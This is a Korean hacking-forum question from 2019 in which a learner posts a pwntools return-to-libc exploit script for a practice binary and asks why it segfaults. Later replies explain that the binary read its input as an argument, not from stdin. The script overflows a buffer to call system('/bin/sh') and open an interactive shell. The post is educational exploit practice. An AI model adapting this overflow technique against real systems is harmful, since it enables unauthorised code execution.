시스템 해킹

1576,

1/79

turttle2s

pwntools 를 이용한 exploit 코드 질문

http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=1963 [복사]

RTL 기법을 pwntools 를 이용해 exploit 코드를 작성해보려고 합니다.
=== exp.py ===
from pwn import *
import os

p = process('./rtl_me')

system = 0xf7e1dd10
exit = 0xf7e10f70
ppr = 0x80484ea
shell_addr = 0xf7f5c8cf # '/bin/sh' address

payload = 'A' * 260 # buf(256) + sfp(4)

payload += p32(system)
payload += p32(exit)
payload += p32(shell_addr)

p.send(payload)
sleep(0.5)
p.interactive()
==============

문제는 exp.py를 이용하면 세그먼트 폴트가 뜨고 스크립트를 이용해 인자로 넣으면 잘 작동을 합니다.저 코드에 뭐가 문제가 있는지 모르겠습니다 .
고수님들 도와주세요 ㅠㅠ

Hit : 2161 Date : 2019/06/07 09:45


turttle2s	해결했습니다. 해당 코드는 stdin 일때 맞춰서 작성된 것이고, 제가 만든 프로그램은 인자로 전달해줘야하기 때문에 다른 방식을 사용해야 작동하는 코드였습니다 ㅠㅠ 죄송하빈다...	2019/06/10
turttle2s	와.. 내가 이랬구나.. 진짜 멍청하네	2019/08/21
turttle2s	괜찮아 그럴 수 있어	2019/08/28